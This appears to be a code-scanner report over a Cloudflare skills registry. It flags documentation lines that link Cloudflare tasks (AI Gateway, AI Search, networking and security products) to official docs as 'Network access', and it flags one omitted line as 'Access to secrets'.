| Keep origin content in a persistent cache | Cache Reserve | Reduce origin fetches with persistent CDN cache storage | [Cache Reserve docs](https://developers.cloudflare.com/cache/advanced-configuration/cache-reserve/index.md) | - Network accessline 70
| Build custom semantic search or retrieval | Vectorize + Workers AI | Control embeddings, indexing, and retrieval rather than using a managed pipeline | [Vectorize](references/vectorize/README.md); [Workers AI](references/workers-ai/README - Network accessline 71
| Observe and control requests to AI providers | AI Gateway | Add inference analytics, caching, and request controls | [AI Gateway](references/ai-gateway/README.md) | | Build stateful agents with tools, scheduling, or chat | Agents SDK | Im - Network accessline 72
| Build stateful agents with tools, scheduling, or chat | Agents SDK | Implement agent behavior on Cloudflare; add Dynamic Workers or Sandbox for the required execution runtime | `agents-sdk` skill; [Agents docs](https://developers.cloudfla - Network accessline 73
| Build durable agents with TypeScript hooks | Flue | Use an open agent framework with Cloudflare and Node.js targets | [Flue](https://flueframework.com/); [getting started](https://flueframework.com/docs/guide/getting-started/); [Cloudflar - Network accessline 74
| Expose tools through a remote MCP server | Workers + Agents SDK | Publish tools for MCP clients, with authentication appropriate to the service | `agents-sdk` skill, its `references/mcp.md`; [MCP docs](https://developers.cloudflare.com/ag - Network accessline 75
| Automate browsers, take screenshots, or extract rendered pages | Browser Run | The task requires a browser rather than a plain HTTP request | [Browser Run](references/browser-rendering/README.md) | | Connect a domain, configure DNS record - Network accessline 76
| Connect a domain, configure DNS records, or troubleshoot resolution | DNS | Manage authoritative records and choose whether traffic is proxied through Cloudflare | [DNS docs](https://developers.cloudflare.com/dns/index.md) | - Network accessline 77
| Configure HTTPS and certificates | SSL/TLS | Secure connections from visitors to Cloudflare and from Cloudflare to the origin | [SSL/TLS docs](https://developers.cloudflare.com/ssl/index.md) | - Network accessline 78
| Distribute traffic across origins and fail over unhealthy servers | Load Balancing | Use health checks and traffic steering for multiple origin servers | [Load Balancing docs](https://developers.cloudflare.com/load-balancing/index.md) | - Network accessline 79
| Connect an existing server to Cloudflare | Cloudflare Tunnel | Reach an origin without a publicly routable IP address | [Tunnel](references/tunnel/README.md) | | Connect Workers to private services | Workers VPC | Access services in priva - Network accessline 80
| Connect Workers to private services | Workers VPC | Access services in private networks from a Worker | [Workers VPC docs](https://developers.cloudflare.com/workers-vpc/index.md) | - Network accessline 81
| Require employee login before accessing an internal app | Access | Put identity-based access policies in front of an internal application | `cloudflare-one` skill; [Access docs](https://developers.cloudflare.com/cloudflare-one/access-cont - Network accessline 82
| Protect access to internal applications and networks | Cloudflare One | Apply identity and network access policies | `cloudflare-one` skill; [Cloudflare One docs](https://developers.cloudflare.com/cloudflare-one/index.md) | - Network accessline 83
| Migrate existing access and network security configurations | Cloudflare One | The task is a supported migration to Cloudflare One | `cloudflare-one-migrations` skill; [Cloudflare One docs](https://developers.cloudflare.com/cloudflare-one - Network accessline 84
| Proxy a TCP or UDP application | Spectrum | Protect and accelerate non-HTTP application traffic | [Spectrum docs](https://developers.cloudflare.com/spectrum/index.md) | - Network accessline 85
| Connect a network directly to Cloudflare | Network Interconnect | Dedicated network connectivity is required | [Network Interconnect docs](https://developers.cloudflare.com/network-interconnect/index.md) | - Network accessline 86
| Improve routing across the network | Argo Smart Routing | Optimize traffic paths to the origin | [Argo Smart Routing docs](https://developers.cloudflare.com/argo-smart-routing/index.md) | - Network accessline 87
| Reduce Worker-to-backend latency | Smart Placement | Place Worker execution closer to the backends it calls | [Smart Placement](references/smart-placement/README.md) | | Redirect URLs, rewrite paths or headers, or change origin routing | - Network accessline 88
| Redirect URLs, rewrite paths or headers, or change origin routing | Rules | Use Redirect, Transform, or Origin Rules when configuration can express the required behavior | [Rules docs](https://developers.cloudflare.com/rules/index.md) | - Network accessline 89
| Make small HTTP request or response changes | Snippets | Lightweight edge logic meets the need | [Snippets docs](https://developers.cloudflare.com/rules/snippets/index.md) | | Protect forms from automated abuse | Turnstile | Add bot chall - Network accessline 90
| Protect forms from automated abuse | Turnstile | Add bot challenges and server-side token validation | `turnstile-spin` skill; [Turnstile docs](https://developers.cloudflare.com/turnstile/index.md) | | Filter malicious web requests | WAF - Network accessline 91
| Filter malicious web requests | WAF | Apply application-layer rules and managed protections | [WAF](references/waf/README.md) | | Protect services from denial-of-service attacks | DDoS Protection | Mitigate attacks at the relevant network - Network accessline 92
| Protect services from denial-of-service attacks | DDoS Protection | Mitigate attacks at the relevant network or application layer | [DDoS protection docs](https://developers.cloudflare.com/ddos-protection/index.md) | - Network accessline 93
| Detect and control automated traffic | Bot Management | Make request decisions based on bot detection | [Bot Management docs](https://developers.cloudflare.com/bots/index.md) | - Network accessline 94
| Discover and protect API endpoints | API Shield | Apply API-specific protections and validation | [API Shield docs](https://developers.cloudflare.com/api-shield/index.md) | - Network accessline 95
| Queue visitors during traffic spikes | Waiting Room | Control admission when application capacity is limited | [Waiting Room docs](https://developers.cloudflare.com/waiting-room/index.md) | - Network accessline 96
| Store a Worker's API keys and credentials | Workers secrets | Bind secrets to a Worker without committing values to source | `wrangler` skill; [secrets docs](https://developers.cloudflare.com/workers/configuration/secrets/index.md) | - Network accessline 97
| Share managed secrets across services | Secrets Store | Manage reusable account-level secrets | [Secrets Store](references/secrets-store/README.md) | | Control where data is processed and stored | Data Localization Suite | Evaluate region - Network accessline 98
| Control where data is processed and stored | Data Localization Suite | Evaluate regional processing and storage controls against the actual requirements | [Data Localization docs](https://developers.cloudflare.com/data-localization/index. - Network accessline 99
| Prove a claim without identifying or tracking the user | Privacy Pass | Use privacy-preserving tokens in a supported integration | [Privacy Pass docs](https://developers.cloudflare.com/privacy-pass/index.md) | - Network accessline 100
| Store, resize, transform, and deliver images | Cloudflare Images | Use managed image processing and delivery | [Images](references/images/README.md) | | Encode, store, and deliver live or on-demand video | Stream | Use managed video infra - Network accessline 101
| Encode, store, and deliver live or on-demand video | Stream | Use managed video infrastructure | [Stream](references/stream/README.md) | | Build an audio/video calling application with SDKs | RealtimeKit | Use application-level SDKs for c - Network accessline 102
| Build an audio/video calling application with SDKs | RealtimeKit | Use application-level SDKs for calls and meetings | [RealtimeKit docs](https://developers.cloudflare.com/realtime/realtimekit/index.md) | - Network accessline 103
| Build custom real-time media infrastructure | Realtime SFU | Control the application while using a selective forwarding unit for media | [Realtime SFU docs](https://developers.cloudflare.com/realtime/sfu/index.md) | - Network accessline 104
| Relay WebRTC connections through restrictive networks | TURN Service | Clients need a connectivity relay | [TURN](references/turn/README.md) | | Deliver live media over QUIC | MoQ | Use the Media over QUIC protocol; check current compatib - Network accessline 105
| Deliver live media over QUIC | MoQ | Use the Media over QUIC protocol; check current compatibility and availability | [MoQ docs](https://developers.cloudflare.com/moq/index.md) | - Network accessline 106
| Send transactional email | Email Service | Send application-generated messages | `cloudflare-email-service` skill; [Email Service docs](https://developers.cloudflare.com/email-service/index.md) | - Network accessline 107
| Forward incoming email | Email Routing | Route addresses on a domain to destination mailboxes | `cloudflare-email-service` skill; [Route emails](https://developers.cloudflare.com/email-service/get-started/route-emails/index.md) | - Network accessline 108
| Process incoming email in code | Email Workers | Apply custom logic to inbound messages | `cloudflare-email-service` skill; [Email handler](https://developers.cloudflare.com/email-service/api/route-emails/email-handler/index.md) | - Network accessline 109
| Manage third-party tags and scripts | Zaraz | Load and manage third-party tools through Cloudflare | [Zaraz](references/zaraz/README.md) | | Run locally and manage resources from the CLI | Cloudflare CLI (`cf`); Wrangler for existing Wran - Network accessline 110
| Run locally and manage resources from the CLI | Cloudflare CLI (`cf`); Wrangler for existing Wrangler projects | Develop, configure, deploy, and inspect the intended account and environment; choose the CLI as described in [Choose the CLI] - Network accessline 111
| Test Worker behavior before deployment | Workers testing tools | Choose runtime tests or integration tests for the affected behavior | [Testing docs](https://developers.cloudflare.com/workers/testing/index.md); `durable-objects` skill for - Network accessline 112
| Embed local Worker simulation in tooling | Miniflare | A programmatic emulator is needed for a custom development or test harness | [Miniflare](references/miniflare/README.md) | | Run or investigate the underlying Workers runtime | worker - Network accessline 113
| Run or investigate the underlying Workers runtime | workerd | Work directly with the runtime outside normal managed deployment | [workerd](references/workerd/README.md) | | Try a small Worker in the browser | Workers Playground | Explore - Network accessline 114
| Try a small Worker in the browser | Workers Playground | Explore or share a minimal example without local setup | [Workers Playground docs](https://developers.cloudflare.com/workers/playground/index.md) | - Network accessline 115
| Build and deploy whenever code is pushed | Workers Builds | Connect a Git repository to automated builds and deployments | [Builds docs](https://developers.cloudflare.com/workers/ci-cd/builds/index.md) | - Network accessline 116
| Test a branch or pull request in an isolated environment | Workers Previews | Create a branch environment under the same Worker with its own settings and URLs; check which bound resources are isolated or shared | [Previews docs](https://d - Network accessline 117
| Inspect an uploaded version, release it gradually, or roll back code | Workers versions and deployments | Manage application releases that use production resources; rollback does not restore connected resource data | [Deployment docs](htt - Network accessline 118
| Release a feature gradually or target user groups | Flagship | Change feature availability with targeting and percentage rollouts | [Flagship docs](https://developers.cloudflare.com/flagship/index.md) | - Network accessline 119
| Manage infrastructure as code | Terraform or Pulumi | Use Terraform for declarative configuration or Pulumi for infrastructure in programming languages | [Terraform docs](https://developers.cloudflare.com/terraform/index.md); [Pulumi docs - Network accessline 120
| Automate account or product configuration through an API | Cloudflare REST API | Manage resources programmatically; prefer bindings for supported operations inside Workers | [REST API docs](https://developers.cloudflare.com/fundamentals/a - Network accessline 122
| Profile CPU usage or memory allocations in deployed Workers or Durable Objects | Workers profiling | Investigate CPU and memory issues in production | [workers-profiling skill](../workers-profiling/SKILL.md) | | Process Worker execution e - Network accessline 123
| Process Worker execution events in code | Tail Workers | Build custom log or exception processing | [Tail Workers](references/tail-workers/README.md) | | Export Worker logs to another system | Workers Logpush | Deliver logs to a supported - Network accessline 124
| Export Worker logs to another system | Workers Logpush | Deliver logs to a supported external destination | [Logpush docs](https://developers.cloudflare.com/workers/observability/logs/logpush/index.md) | - Network accessline 125
| Measure custom application events | Workers Analytics Engine | Analyze high-cardinality event data written from Workers | [Analytics Engine](references/analytics-engine/README.md) | | Measure website usage and visitor performance | Cloudf - Network accessline 126
| Measure website usage and visitor performance | Cloudflare Web Analytics | Add website analytics and real-user measurements | [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) | - Network accessline 127
| Query metrics across Cloudflare products | GraphQL Analytics API | Retrieve product analytics programmatically | [GraphQL Analytics API](references/graphql-api/README.md) | | Audit page speed and find loading bottlenecks | Web performance - Network accessline 128
| Audit page speed and find loading bottlenecks | Web performance tools | Measure and improve the site's actual browser performance | `web-perf` skill; [Web Analytics docs](https://developers.cloudflare.com/web-analytics/index.md) | - Network accessline 129
| Ask questions about an account or diagnose its configuration in the dashboard | Agent Lee | Use the dashboard's AI assistant; check current account eligibility | [Agent Lee docs](https://developers.cloudflare.com/agent-lee/index.md) | - Network accessline 135
Use the [Cloudflare product directory](https://developers.cloudflare.com/directory/index.md) for additional products and their current docs. Follow links to the specific feature or API involved. Use [Choose a data or storage product](https: - Network accessline 139
Prefer [Workers Cache](https://developers.cloudflare.com/workers/cache/index.md) for caching, including [advanced patterns](https://developers.cloudflare.com/workers/cache/examples/index.md) using cached inner entrypoints and programmatic i - Network accessline 149
Cloudflare documentation: <https://developers.cloudflare.com/llms.txt> - Network accessline 150
Cloudflare changelog: <https://developers.cloudflare.com/changelog/index.md>
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/README.md
- Network accessline 17
For new single-model calls, start with the [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) or [Workers bindings](https://developers.cloudflare.com/ai-gateway/usage/worker-binding-methods/index.md), depending - Network accessline 19
The [legacy Unified API](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md) is deprecated for single-model calls but remains required for dynamic routes. Check the task before changing an existing endpoint. - Network accessline 25
- [Workers AI](../workers-ai/README.md) — model inference. - [Agents SDK documentation](https://developers.cloudflare.com/agents/index.md) — stateful agents. - Network accessline 26
- [Agents SDK documentation](https://developers.cloudflare.com/agents/index.md) — stateful agents.
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/configuration.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) | - Network accessline 6
|------|-----------------------| | Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) | | Create, update, or delete a gateway; use the defau - Network accessline 7
| Send a first request and locate the account/gateway identifiers | [Getting started](https://developers.cloudflare.com/ai-gateway/get-started/index.md) | - Network accessline 8
| Create, update, or delete a gateway; use the default gateway | [Manage gateways](https://developers.cloudflare.com/ai-gateway/configuration/manage-gateway/index.md) | - Network accessline 9
| Manage gateways programmatically | [Gateway management API](https://developers.cloudflare.com/api/resources/ai_gateway/methods/list/index.md) | - Network accessline 10
| Protect gateway access and choose token permissions for the endpoint | [Authenticated Gateway](https://developers.cloudflare.com/ai-gateway/configuration/authentication/index.md) and [REST API authentication](https://developers.cloudflare - Network accessline 11
| Configure Wrangler and an AI binding | [Workers AI binding setup](https://developers.cloudflare.com/ai-gateway/integrations/aig-workers-ai-binding/index.md) and [binding methods](https://developers.cloudflare.com/ai-gateway/usage/worker-b - Network accessline 12
| Store provider keys, select aliases, or diagnose missing credentials | [Bring Your Own Keys](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md) | - Network accessline 13
| Use Cloudflare billing or determine which credentials take precedence | [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md) | - Network accessline 14
| Supply provider credentials with each request | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md) |
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/dynamic-routing.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-rout - Network accessline 6
|------|-----------------------| | Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/index.md) | | Invoke a route - Network accessline 7
| Design conditional routes, A/B splits, quotas, model fallbacks, and version rollbacks | [Dynamic routing](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/index.md) | - Network accessline 8
| Invoke a route from an SDK, HTTP request, or Worker; inspect route response metadata | [Using a dynamic route](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) | - Network accessline 9
| Define route elements and connections programmatically | [JSON configuration](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/json-configuration/index.md) | - Network accessline 10
| Provide metadata used by routing conditions | [Custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/index.md) | - Network accessline 11
| Configure model/provider fallbacks | [Fallbacks](https://developers.cloudflare.com/ai-gateway/configuration/fallbacks/index.md) | - Network accessline 12
| Configure retries, backoff, and timeouts | [Request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md) | - Network accessline 13
| Inspect request outcomes, costs, and errors | [Analytics](https://developers.cloudflare.com/ai-gateway/observability/analytics/index.md) and [logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) | - Network accessline 15
Check the usage guide's authentication and stored-key prerequisites. Dynamic routes still use the [Unified API compatibility endpoint](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md); its single-model deprecatio
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/features.md
- Network accessline 5
| Task | Current documentation | |------|-----------------------| | Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) | - Network accessline 6
|------|-----------------------| | Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) | | Control request volume with fixed or sliding - Network accessline 7
| Enable caching, set TTLs, bypass the cache, or choose a custom cache key | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) | - Network accessline 8
| Control request volume with fixed or sliding limits | [Rate limiting](https://developers.cloudflare.com/ai-gateway/features/rate-limiting/index.md) | - Network accessline 9
| Enforce cost budgets | [Spend limits](https://developers.cloudflare.com/ai-gateway/features/spend-limits/index.md) | - Network accessline 10
| Evaluate and enforce content policies | [Guardrails setup](https://developers.cloudflare.com/ai-gateway/features/guardrails/set-up-guardrail/index.md) and [usage considerations](https://developers.cloudflare.com/ai-gateway/features/guardr - Network accessline 11
| Detect sensitive data in prompts and responses | [DLP setup](https://developers.cloudflare.com/ai-gateway/features/dlp/set-up-dlp/index.md) | - Network accessline 12
| Choose provider keys or Cloudflare billing | [BYOK](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md) and [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index - Network accessline 13
| Configure provider data retention for Unified Billing | [Zero Data Retention](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md#zero-data-retention-zdr) | - Network accessline 14
| Configure log collection, payload storage, and retention | [Logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) | - Network accessline 15
| Export logs | [Workers Logpush](https://developers.cloudflare.com/ai-gateway/observability/logging/logpush/index.md) | - Network accessline 16
| Attach request metadata for tracking and routing | [Custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/index.md) | - Network accessline 17
| Override model costs | [Custom costs](https://developers.cloudflare.com/ai-gateway/configuration/custom-costs/index.md) | - Network accessline 18
| Check supported providers, quotas, or pricing | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md), [limits](https://developers.cloudflare.com/ai-gateway/reference/limits/index.md), and [pricing](http
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/sdk-integration.md
- Network accessline 5
| Integration task | Current documentation | |------------------|-----------------------| | New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) | - Network accessline 6
|------------------|-----------------------| | New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) | | Vercel AI SDK, provider adapters, and fallback pr - Network accessline 7
| New single-model HTTP calls or OpenAI-compatible clients | [REST API](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.md) | - Network accessline 8
| Vercel AI SDK, provider adapters, and fallback providers | [Vercel AI SDK integration](https://developers.cloudflare.com/ai-gateway/integrations/vercel-ai-sdk/index.md) | | Preserve OpenAI-native endpoints with the OpenAI SDK, Python, or - Network accessline 9
| Preserve OpenAI-native endpoints with the OpenAI SDK, Python, or HTTP | [OpenAI provider guide](https://developers.cloudflare.com/ai-gateway/usage/providers/openai/index.md) | | Preserve Anthropic-native requests | [Anthropic provider gui - Network accessline 10
| Preserve Anthropic-native requests | [Anthropic provider guide](https://developers.cloudflare.com/ai-gateway/usage/providers/anthropic/index.md) | - Network accessline 11
| Use another provider or a framework's configurable provider endpoint | [Provider guides](https://developers.cloudflare.com/ai-gateway/usage/providers/index.md) — match the framework's expected API shape to the provider endpoint | - Network accessline 12
| Configure Workers AI and an AI binding | [Binding setup](https://developers.cloudflare.com/ai-gateway/integrations/aig-workers-ai-binding/index.md) | - Network accessline 13
| Call Workers AI or third-party models from a Worker; use gateway methods | [Workers binding methods](https://developers.cloudflare.com/ai-gateway/usage/worker-binding-methods/index.md) | - Network accessline 14
| Set request metadata, caching, or other gateway headers | [Header glossary](https://developers.cloudflare.com/ai-gateway/glossary/index.md) | - Network accessline 15
| Invoke a dynamic route | [Dynamic route usage](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) | - Network accessline 17
The [legacy Unified API](https://developers.cloudflare.com/ai-gateway/usage/chat-completion/index.md) is deprecated for single-model calls, but dynamic routes still require its compatibility endpoint. Do not migrate a dynamic route to the R
packages/autoskills/skills-registry/cloudflare/references/ai-gateway/troubleshooting.md
- Network accessline 5
| Symptom or task | Current documentation | |-----------------|-----------------------| | Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gatew - Network accessline 6
|-----------------|-----------------------| | Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gateway/reference/troubleshooting/index.md) | | G - Network accessline 7
| Authentication or provider errors, timeouts, DLP failures, or unexpected cache behavior | [Troubleshooting](https://developers.cloudflare.com/ai-gateway/reference/troubleshooting/index.md) | - Network accessline 8
| Gateway authentication failure | [Authenticated Gateway](https://developers.cloudflare.com/ai-gateway/configuration/authentication/index.md) and [REST API authentication](https://developers.cloudflare.com/ai-gateway/usage/rest-api/index.m - Network accessline 9
| Provider key or billing mismatch | [BYOK](https://developers.cloudflare.com/ai-gateway/configuration/bring-your-own-keys/index.md), [Unified Billing](https://developers.cloudflare.com/ai-gateway/features/unified-billing/index.md), and the - Network accessline 10
| Rate limits or repeated failures | [Rate limiting](https://developers.cloudflare.com/ai-gateway/features/rate-limiting/index.md) and [request handling](https://developers.cloudflare.com/ai-gateway/configuration/request-handling/index.md) - Network accessline 11
| Unexpected cache hit or miss, including streaming behavior | [Caching](https://developers.cloudflare.com/ai-gateway/features/caching/index.md) | - Network accessline 12
| Missing logs, collection overrides, or storage limits | [Logging](https://developers.cloudflare.com/ai-gateway/observability/logging/index.md) and [limits](https://developers.cloudflare.com/ai-gateway/reference/limits/index.md) | - Network accessline 13
| Inspect headers, request metadata, usage, or export logs | [Header glossary](https://developers.cloudflare.com/ai-gateway/glossary/index.md), [custom metadata](https://developers.cloudflare.com/ai-gateway/observability/custom-metadata/ind - Network accessline 14
| Dynamic route failure | [Dynamic route usage](https://developers.cloudflare.com/ai-gateway/features/dynamic-routing/usage/index.md) |
packages/autoskills/skills-registry/cloudflare/references/ai-search/README.md
- Network accessline 3
Use AI Search for managed content indexing and retrieval, with optional answer generation. Start with [How AI Search works](https://developers.cloudflare.com/ai-search/concepts/how-ai-search-works/index.md). - Network accessline 11
For freshness requirements, read [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) for your data source before choosing an architecture. Use the current [limits and pricing](https://developers.cl - Network accessline 17
| Task | Start here | |------|------------| | Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | - Network accessline 18
|------|------------| | Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | | Choose an API or maintain an existing integration | [API routes](api.md) | - Network accessline 19
| Build a new Worker integration | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | - Network accessline 25
Existing `env.AI.autorag()` integrations can continue to work. Use the [migration guide](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) when upgrading; migration is not required just to maintain an exist
packages/autoskills/skills-registry/cloudflare/references/ai-search/api.md
- Network accessline 5
| Task | Documentation | |------|---------------| | New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) | - Network accessline 6
|------|---------------| | New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) | | Create, list, configure, an - Network accessline 7
| New Worker integration: bindings, search, chat completions, and streaming | [Search Workers binding](https://developers.cloudflare.com/ai-search/api/search/workers-binding/index.md) | - Network accessline 8
| Create, list, configure, and inspect instances | [Instances Workers binding](https://developers.cloudflare.com/ai-search/api/instances/workers-binding/index.md) | - Network accessline 9
| Query over HTTP and configure request authentication | [Search REST API](https://developers.cloudflare.com/ai-search/api/search/rest-api/index.md) | - Network accessline 10
| Maintain an existing `env.AI.autorag()` integration | [Legacy Workers binding](https://developers.cloudflare.com/ai-search/api/migration/workers-binding-legacy/index.md) | - Network accessline 11
| Upgrade a legacy binding, including responses, streaming, and filters | [Workers binding migration](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) |
packages/autoskills/skills-registry/cloudflare/references/ai-search/configuration.md
- Network accessline 3
| Task | Documentation | |------|---------------| | Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | - Network accessline 4
|------|---------------| | Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | | Select built-in uploads, R2, or a website; check supported format - Network accessline 5
| Set up a Worker and local development | [Workers binding quick start](https://developers.cloudflare.com/ai-search/get-started/workers/index.md) | - Network accessline 6
| Select built-in uploads, R2, or a website; check supported formats | [Data sources](https://developers.cloudflare.com/ai-search/configuration/data-source/index.md) | - Network accessline 7
| Connect existing R2 content | [R2 data source](https://developers.cloudflare.com/ai-search/configuration/data-source/r2/index.md) | - Network accessline 8
| Configure crawling and diagnose bot-protection requirements | [Website data source](https://developers.cloudflare.com/ai-search/configuration/data-source/website/index.md) | - Network accessline 9
| Include or exclude files and URL paths | [Path filtering](https://developers.cloudflare.com/ai-search/configuration/indexing/path-filtering/index.md) | - Network accessline 10
| Configure source syncs, trigger indexing, or pause and resume | [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) | - Network accessline 11
| Grant AI Search access to R2 for indexing | [Service API token](https://developers.cloudflare.com/ai-search/configuration/indexing/service-api-token/index.md) | - Network accessline 12
| Organize instances by application, tenant, or environment | [Namespaces](https://developers.cloudflare.com/ai-search/concepts/namespaces/index.md) | - Network accessline 13
| Configure models | [Models](https://developers.cloudflare.com/ai-search/configuration/models/index.md) | - Network accessline 14
| Inspect instance configuration and indexing progress | [Instances Workers binding](https://developers.cloudflare.com/ai-search/api/instances/workers-binding/index.md) | - Network accessline 16
Indexing credentials and request authentication serve different purposes. For authenticating search requests over HTTP, use the [Search REST API](https://developers.cloudflare.com/ai-search/api/search/rest-api/index.md) documentation.
packages/autoskills/skills-registry/cloudflare/references/ai-search/gotchas.md
- Network accessline 3
| Symptom or question | Documentation | |---------------------|---------------| | API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-cod - Network accessline 4
|---------------------|---------------| | API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-codes/index.md) | | Upload or sync succeeds - Network accessline 5
| API request fails, including authentication or missing instances | [API error codes](https://developers.cloudflare.com/ai-search/troubleshooting/api-error-codes/index.md) | - Network accessline 6
| Upload or sync succeeds but content fails during processing | [Indexing error codes](https://developers.cloudflare.com/ai-search/troubleshooting/indexing-error-codes/index.md) | - Network accessline 7
| Content is missing or stale | [Syncing](https://developers.cloudflare.com/ai-search/configuration/indexing/syncing/index.md) and [supported data sources and formats](https://developers.cloudflare.com/ai-search/configuration/data-source/in - Network accessline 8
| Filters return unexpected documents or no matches | [Filtering](https://developers.cloudflare.com/ai-search/configuration/retrieval/filtering/index.md) and [metadata attributes](https://developers.cloudflare.com/ai-search/configuration/in - Network accessline 9
| Thresholds exclude results or responses need tuning | [Result controls](https://developers.cloudflare.com/ai-search/configuration/retrieval/result-controls/index.md) | - Network accessline 10
| Binding types, response parsing, or streaming fail after an upgrade | [Workers binding migration](https://developers.cloudflare.com/ai-search/api/migration/workers-binding/index.md) | - Network accessline 11
| Capacity, file-size, or billing questions | [Limits and pricing](https://developers.cloudflare.com/ai-search/platform/limits-pricing/index.md) |
packages/autoskills/skills-registry/cloudflare/references/ai-search/patterns.md
- Network accessline 3
Choose retrieval-only search when your application displays chunks or handles generation itself; choose chat completions when AI Search should also generate the answer. Read [Search Workers binding](https://developers.cloudflare.com/ai-sear - Network accessline 5
| Task | Documentation | |------|---------------| | Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) | - Network accessline 6
|------|---------------| | Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) | | Define built-in or custom metadata | [Meta - Network accessline 7
| Isolate tenants using separate instances or a shared filtered instance | [Multitenancy](https://developers.cloudflare.com/ai-search/how-to/per-tenant-search/index.md) | - Network accessline 8
| Define built-in or custom metadata | [Metadata attributes](https://developers.cloudflare.com/ai-search/configuration/indexing/metadata/index.md) | - Network accessline 9
| Filter by metadata, combine conditions, or match a folder and subfolders | [Filtering](https://developers.cloudflare.com/ai-search/configuration/retrieval/filtering/index.md) | - Network accessline 10
| Tune result count and relevance thresholds | [Result controls](https://developers.cloudflare.com/ai-search/configuration/retrieval/result-controls/index.md) | - Network accessline 11
| Resolve follow-up queries using conversation context | [Query rewriting](https://developers.cloudflare.com/ai-search/configuration/retrieval/query-rewriting/index.md) | - Network accessline 12
| Improve result ordering with a second model | [Reranking](https://developers.cloudflare.com/ai-search/configuration/retrieval/reranking/index.md) | - Network accessline 13
| Customize generation and query-rewriting instructions | [System prompt](https://developers.cloudflare.com/ai-search/configuration/retrieval/system-prompt/index.md) |
packages/autoskills/skills-registry/cloudflare/references/analytics-engine/README.md
packages/autoskills/skills-registry/cloudflare/references/analytics-engine/api.md
packages/autoskills/skills-registry/cloudflare/references/analytics-engine/configuration.md
packages/autoskills/skills-registry/cloudflare/references/analytics-engine/gotchas.md
- Access to secretsline 39
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare/references/analytics-engine/patterns.md
packages/autoskills/skills-registry/cloudflare/references/bindings/README.md
- Network accessline 9
- [Bindings overview and catalog](https://developers.cloudflare.com/workers/runtime-apis/bindings/index.md): capability model, available products, environment access, and binding lifecycle. - Network accessline 10
- [Storage options](https://developers.cloudflare.com/workers/platform/storage-options/index.md): choose storage from consistency, query, and coordination requirements.
packages/autoskills/skills-registry/cloudflare/references/bindings/api.md
- Network accessline 5
